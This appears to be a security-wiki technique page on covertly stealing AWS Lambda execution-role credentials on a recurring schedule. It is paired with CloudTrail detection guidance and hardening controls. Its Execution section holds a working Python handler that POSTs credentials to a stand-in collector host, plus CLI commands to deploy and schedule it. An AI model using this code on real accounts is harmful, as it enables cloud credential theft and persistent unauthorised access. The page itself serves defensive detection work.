How the technique works

A Lambda function receives temporary AWS credentials whenever it runs. Code added to the function can send those credentials to a C2 on every invocation, turning an existing or newly created schedule into recurring credential access.

Three choices shape the technique:

  1. Function: modify one that already runs regularly, or create a new one.
  2. Credentials: collect the function’s execution-role session, or use it to assume a second role.
  3. Schedule: keep an existing trigger, create an EventBridge rule, or use EventBridge Scheduler.

These choices can be mixed. Reusing a function does not require permission to create one. Keeping its existing schedule does not require permission to create a rule.

Lambda supplies the execution-role credentials through reserved environment variables, and AWS SDKs select them automatically.[1][2] If the role can call sts:AssumeRole and another role trusts it, the function can collect that second session instead.[3]

For a new scheduled function, EventBridge invokes the function on a rate or cron expression. A resource-based policy on the function allows the invocation.[4][5]

flowchart TB
    P([Compromised principal])
    E[Existing scheduled Lambda]
    N[New Lambda function]
    S[EventBridge schedule]
    R(Execution-role session)
    A(Assumed-role session)
    C([C2 endpoint])
    P -->|lambda:UpdateFunctionCode| E
    P -->|lambda:CreateFunction + iam:PassRole| N
    P -->|events:PutRule + events:PutTargets| S
    S -->|lambda:InvokeFunction| N
    E -->|AWS SDK| R
    N -->|AWS SDK| R
    R -.->|optional sts:AssumeRole| A
    R -->|HTTPS POST| C
    A -->|HTTPS POST| C
    class P principal
    class E,N,S awsResource
    class R,A credential
    class C c2
Existing and newly created functions converge on the same credential flow.

Lambda also has a metadata endpoint, but it is not a credential source. Its documented response includes context such as AvailabilityZoneID, not execution-role credentials. This differs from EC2 IMDS and ECS container credential endpoints.[6][7]

Preconditions

The permissions depend on what already exists. Reusing a scheduled function needs much less access than creating both the function and its schedule.

Reuse an existing recurring function

The lowest-privilege option requires lambda:UpdateFunctionCode on a function that already runs through an unqualified ARN or $LATEST. Its existing execution role determines AWS access, and the function needs network access to the C2.

UpdateFunctionCode changes only $LATEST. A trigger pinned to a published version continues to run the old code. An alias also stays on its current version until lambda:UpdateAlias moves it.[8]

Create a function and EventBridge rule

Creating both the function and its EventBridge schedule requires:

  1. lambda:CreateFunction on the new function.
  2. iam:PassRole on one execution role trusted by lambda.amazonaws.com.
  3. events:PutRule and events:PutTargets on one scheduled rule.
  4. lambda:AddPermission on the function so that rule can invoke it.

PassRole is an IAM permission rather than an API operation, so it does not produce a standalone CloudTrail event. The passed role ARN appears in the CreateFunction request instead.[9]

Select the credential source

Using the function’s own execution-role session adds no extra permission. Collecting a second session requires sts:AssumeRole on the target role, and that role must trust the Lambda execution role. The target role’s policies still limit the resulting session.[3:1]

Provide network egress

The function also needs a route to the C2. Functions outside a customer VPC have outbound internet access by default. A VPC-attached function commonly needs private subnets with a route to a NAT gateway; placing it in a public subnet does not give it a public IP address.[10]

Execution

TARGET_ROLE_ARN controls which credentials the handler sends. Leave it as None to use the function’s execution-role credentials, or set it to a role ARN to request a 15-minute STS session. The C2 endpoint and target role remain in the deployment package rather than the function configuration.

import json
import urllib.request
from datetime import datetime, timezone

import boto3

COLLECTOR_URL = "https://collector.example/ingest"
TARGET_ROLE_ARN = None


def execution_role_credentials():
    credentials = boto3.Session().get_credentials()
    if credentials is None:
        raise RuntimeError("Boto3 did not resolve execution-role credentials")

    frozen = credentials.get_frozen_credentials()
    return {
        "mode": "execution-role",
        "access_key_id": frozen.access_key,
        "secret_access_key": frozen.secret_key,
        "session_token": frozen.token,
    }


def assumed_role_credentials(role_arn):
    response = boto3.client("sts").assume_role(
        RoleArn=role_arn,
        RoleSessionName="processing-session",
        DurationSeconds=900,
    )
    credentials = response["Credentials"]
    return {
        "mode": "assumed-role",
        "role_arn": role_arn,
        "access_key_id": credentials["AccessKeyId"],
        "secret_access_key": credentials["SecretAccessKey"],
        "session_token": credentials["SessionToken"],
        "expiration": credentials["Expiration"].isoformat(),
    }


def lambda_handler(event, context):
    role_arn = TARGET_ROLE_ARN
    credentials = (
        assumed_role_credentials(role_arn)
        if role_arn
        else execution_role_credentials()
    )

    payload = json.dumps(
        {
            "function_arn": context.invoked_function_arn,
            "request_id": context.aws_request_id,
            "observed_at": datetime.now(timezone.utc).isoformat(),
            "credentials": credentials,
        }
    ).encode()

    request = urllib.request.Request(
        COLLECTOR_URL,
        data=payload,
        headers={"Content-Type": "application/json"},
        method="POST",
    )
    with urllib.request.urlopen(request, timeout=3) as response:
        return {"status_code": response.status}

When reusing a function, set COLLECTOR_URL and the optional TARGET_ROLE_ARN, then package the code under its configured handler path. Preserve the original handler behavior if the workload must continue operating.

zip function.zip lambda_function.py

aws lambda update-function-code \
  --function-name application-processing \
  --zip-file fileb://function.zip

UpdateFunctionCode replaces the entire deployment package. Preserve the configured handler module, handler function, and any dependencies, or the next invocation will fail.[11]

If no suitable recurring function exists, create one. This adds lambda:CreateFunction and iam:PassRole to the required permissions.

aws lambda create-function \
  --function-name application-processing \
  --runtime python3.13 \
  --handler lambda_function.lambda_handler \
  --role arn:aws:iam::111122223333:role/application-processing \
  --zip-file fileb://function.zip

If the function has no recurring trigger, create an EventBridge rule, grant that rule permission to invoke the function, and attach the function as its target. Scoping source-arn to the rule limits the EventBridge service principal to that rule.[5:1]

aws events put-rule \
  --name application-processing-schedule \
  --schedule-expression 'rate(5 minutes)'

aws lambda add-permission \
  --function-name application-processing \
  --statement-id allow-eventbridge-processing-schedule \
  --action lambda:InvokeFunction \
  --principal events.amazonaws.com \
  --source-arn arn:aws:events:us-east-1:111122223333:rule/application-processing-schedule

aws events put-targets \
  --rule application-processing-schedule \
  --targets 'Id=application-processing,Arn=arn:aws:lambda:us-east-1:111122223333:function:application-processing'

Other scheduling options

The commands above create a new EventBridge rule. Existing schedules can reduce the permissions needed.

Option What it needs Caveat
Existing EventBridge rule events:PutTargets on the rule and, if needed, lambda:AddPermission on the function A rule supports at most five targets. Reusing a target ID replaces that target.[5:2]
EventBridge Scheduler scheduler:CreateSchedule, iam:PassRole, and an execution role that can invoke the function Scheduler uses its execution role instead of a Lambda resource-policy permission.[12][13]

Detection

The activity leaves two useful signals: changes to Lambda or its schedule, followed by recurring outbound connections. CloudTrail management events cover the configuration changes. Lambda invocations are data events and are not logged by default. CloudTrail also omits uploaded ZIP contents and environment values, so an unexpected change may require inspection of the deployed package.[14]

For a newly created function, CreateFunction20150331 identifies the deployment principal, function, code digest, and execution role. The shortened example below comes from the published CloudTrail record.[15]

{
  "eventTime": "2026-06-29T19:08:13Z",
  "eventSource": "lambda.amazonaws.com",
  "eventName": "CreateFunction20150331",
  "awsRegion": "us-west-1",
  "sourceIPAddress": "203.0.113.5",
  "userAgent": "Boto3/1.43.36 Botocore/1.43.36",
  "userIdentity": {
    "type": "IAMUser",
    "arn": "arn:aws:iam::123456789012:user/deployment-user"
  },
  "requestParameters": {
    "functionName": "application-processing",
    "runtime": "python3.12",
    "handler": "index.handler",
    "role": "arn:aws:iam::123456789012:role/application-processing",
    "code": {},
    "environment": {}
  },
  "responseElements": {
    "functionArn": "arn:aws:lambda:us-west-1:123456789012:function:application-processing",
    "codeSha256": "P5VITRngl3L/kWmyVa6j5bLxE+yn+44ubt5qqYgt2JU=",
    "state": "Pending",
    "version": "$LATEST"
  }
}

PutRule records the schedule, while PutTargets links the rule to the Lambda function.[16][17]

Detection inputs

Retain eventTime, recipientAccountId, awsRegion, userIdentity.arn, sourceIPAddress, userAgent, and errorCode across these events. The table lists the fields specific to each operation.

CloudTrail uses versioned Lambda event names such as CreateFunction20150331 and UpdateFunctionCode20150331v2. Match the raw values rather than the shorter SDK operation names.[15:1][14:1]

Event source and name Operation-specific fields Why it matters
lambda.amazonaws.com and CreateFunction20150331 requestParameters.functionName, requestParameters.role, responseElements.functionArn, responseElements.codeSha256 A new function and its execution role.
lambda.amazonaws.com and UpdateFunctionCode20150331v2 requestParameters.functionName, requestParameters.publish, responseElements.functionArn, responseElements.codeSha256 New code on an existing function.
lambda.amazonaws.com and UpdateFunctionConfiguration20150331v2 requestParameters.functionName, requestParameters.role, requestParameters.layers, requestParameters.vpcConfig Changes to the role, layers, or network placement.
events.amazonaws.com and PutRule requestParameters.name, requestParameters.scheduleExpression, requestParameters.state, responseElements.ruleArn A new or changed schedule.
events.amazonaws.com and PutTargets requestParameters.rule, requestParameters.targets[].arn The function attached to that schedule.
lambda.amazonaws.com and AddPermission20150331v2 requestParameters.functionName, requestParameters.principal, requestParameters.sourceArn EventBridge gained permission to invoke the function.
scheduler.amazonaws.com and CreateSchedule requestParameters.name, requestParameters.scheduleExpression, requestParameters.target.arn, requestParameters.target.roleArn A Scheduler schedule and its invocation role.[12:1]
sts.amazonaws.com and AssumeRole userIdentity.sessionContext.sessionIssuer.arn, requestParameters.roleArn, requestParameters.roleSessionName The function requested credentials for another role.
lambda.amazonaws.com and Invoke resources[].ARN Invocation attribution when Lambda data-event logging is enabled.

Correlation logic

  1. Start with successful function or schedule changes that fall outside the approved deployment baseline.
  2. For EventBridge rules, join the function ARN from CreateFunction20150331 or UpdateFunctionCode20150331v2 to PutTargets.requestParameters.targets[].arn. Then join the rule name to PutRule and its ARN to AddPermission20150331v2. A 15-minute window is a practical starting point.
  3. For EventBridge Scheduler, match CreateSchedule.requestParameters.target.arn to the changed function and retain target.roleArn.[9:1]
  4. Raise confidence when a Lambda execution role assumes an unexpected target role.
  5. Raise confidence again when the same function makes periodic outbound connections to a new destination.

Baseline and tuning

  • Build the baseline from approved infrastructure and release records rather than historical activity alone.
  • Pay attention to new principals, Regions, code digests, execution roles, target roles, and schedule-to-function relationships.
  • Avoid broad allowlists for administrator roles. Scope exceptions to the expected principal, function, role, Region, and deployment source.
  • Retrieve the deployment package when a code change is unexpected; CloudTrail identifies the change but does not contain the uploaded code.[14:2]

Hardening

The most effective controls limit who can change functions, which roles can be attached or assumed, and whether the function can reach the internet.

Control Implementation Why it helps
Deployment permissions Reserve lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:UpdateFunctionConfiguration, lambda:AddPermission, events:PutRule, events:PutTargets, and scheduler:CreateSchedule for dedicated deployment roles. Enforce the restriction with an SCP or permissions boundary. Prevents general identities from changing function code or schedules.
Passed roles Allow iam:PassRole only for named role ARNs. Use iam:PassedToService to separate Lambda and Scheduler roles.[9:2] Prevents a deployment identity from attaching an unrelated role.
Role chaining Remove unnecessary sts:AssumeRole permissions from Lambda execution roles and remove those roles from unrelated trust policies. Blocks collection of a second role session.
Source-bound access Use lambda:SourceFunctionArn in policies or SCPs that protect sensitive downstream actions.[2:1] Restricts where execution-role credentials can authorize those actions.
Network egress Place functions that do not need internet access in private subnets without a NAT route. Use VPC endpoints and restricted security-group egress for required services.[10:1] Removes direct outbound access to a C2.
Code signing Associate an enforced Lambda code-signing configuration with protected functions and restrict signing to the release role.[18] Rejects packages from unapproved publishers.
Monitoring Enable GuardDuty Lambda Protection and compare Lambda, EventBridge, Scheduler, IAM role, and VPC configuration with approved infrastructure.[19][20] Adds network detection and exposes configuration drift.

References


  1. AWS Lambda, Defining function permissions with an execution role ↩︎

  2. AWS Lambda, Using source function ARN to control function access behavior ↩︎ ↩︎

  3. AWS Security Token Service API, AssumeRole ↩︎ ↩︎

  4. Amazon EventBridge, Creating a rule that runs on a schedule ↩︎

  5. Amazon EventBridge API, PutTargets ↩︎ ↩︎ ↩︎

  6. AWS Lambda, Using the Lambda metadata endpoint ↩︎

  7. AWS SDKs and Tools, Container credential provider ↩︎

  8. AWS Lambda, Manage Lambda function versions ↩︎

  9. AWS IAM, Grant a user permissions to pass a role to an AWS service ↩︎ ↩︎ ↩︎

  10. AWS Lambda, Enable internet access for VPC-connected functions ↩︎ ↩︎

  11. AWS Lambda API, UpdateFunctionCode ↩︎

  12. detection.wiki, EventBridge Scheduler CreateSchedule CloudTrail entry ↩︎ ↩︎

  13. Amazon EventBridge Scheduler, Lambda templated targets and execution roles ↩︎

  14. AWS Lambda, Logging Lambda API calls using CloudTrail ↩︎ ↩︎ ↩︎

  15. detection.wiki, AWS Lambda CloudTrail events and CreateFunction sample ↩︎ ↩︎

  16. detection.wiki, EventBridge CloudTrail events and samples ↩︎

  17. Amazon EventBridge, Logging API calls using AWS CloudTrail ↩︎

  18. AWS Lambda, Configuring code signing ↩︎

  19. Amazon GuardDuty, Lambda Protection ↩︎

  20. AWS Config, Supported resource types for AWS Lambda ↩︎